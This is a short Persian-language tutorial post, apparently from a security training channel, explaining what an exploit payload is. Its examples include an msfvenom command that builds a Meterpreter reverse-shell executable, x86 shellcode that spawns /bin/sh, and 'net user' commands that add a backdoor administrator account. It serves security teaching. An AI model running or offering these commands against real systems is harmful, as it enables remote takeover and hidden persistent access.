#امنیت_به_زبان_ساده
⏮️پیلود (Payload) چیست؟
در زمینهی امنیت سایبری و اکسپلویتها، پیلود (Payload) به بخشی از یک کد مخرب گفته میشود که پس از بهرهبرداری (Exploit) از یک آسیبپذیری ؛ اجرا میشود.
به عبارت دیگر، پیلود همان محتوای اصلی حمله است که هدفش انجام یک عملیات خاص روی سیستم قربانی است، مانند اجرای یک Shellcode، دانلود بدافزار، ایجاد درب پشتی (Backdoor) یا سرقت دادهها.
🟪مثالهای پیلود
☑️اجرای یک معکوس شل (Reverse Shell)
در این روش، مهاجم پس از نفوذ به سیستم، پیلودی را اجرا میکند که یک ارتباط معکوس به سمت مهاجم باز کند. مثلاً در Metasploit، میتوان از این پیلود استفاده کرد:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=
192.168.1.100 LPORT=4444 -f exe > shell.exe
یعنی پس از نفوذ اولیه ؛ این پیلود یک Meterpreter Reverse Shell ایجاد میکند که پس از اجرا روی سیستم قربانی، به آدرس IP مهاجم متصل شده و دستورات را از راه دور اجرا میکند. ( تمرینی در درس سنز ۵۰۴)
☑️استفاده از Shellcode برای اجرای یک دستور ساده
اگر بخواهیم پیلودی که فقط یک دستور ساده روی سیستم اجرا کند، مثال زیر را در Assembly x86 داریم:
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp
push eax
mov edx, eax
mov ecx, eax
mov al, 0xb ; syscall execve
int 0x80
این کد یک Shellcode ساده است که /bin/sh را اجرا میکند.
☑️درج یک دربپشتی در سیستم قربانی
اگر مهاجم بخواهد پس از نفوذ به سیستم، یک دربپشتی دائمی ایجاد کند، ممکن است پیلودی بسازد که یک کاربر جدید اضافه کند:
net user hacker Pass123 /add
net localgroup administrators hacker /add
این دستورات، یک کاربر جدید به نام "hacker" را ایجاد کرده و آن را به گروه مدیران اضافه میکنند.
✳️نتیجهگیری
پیلود بخش اصلی یک حملهی سایبری است و میتواند کارهای مختلفی انجام دهد، از اجرای یک شل ساده گرفته تا دانلود و اجرای بدافزارهای پیچیده. در تست نفوذ و امنیت سایبری، شبیهسازی پیلودها برای ارزیابی امنیت سیستمها امری رایج است.
#من_آموزش_میدهم
#آکادمی_روزبه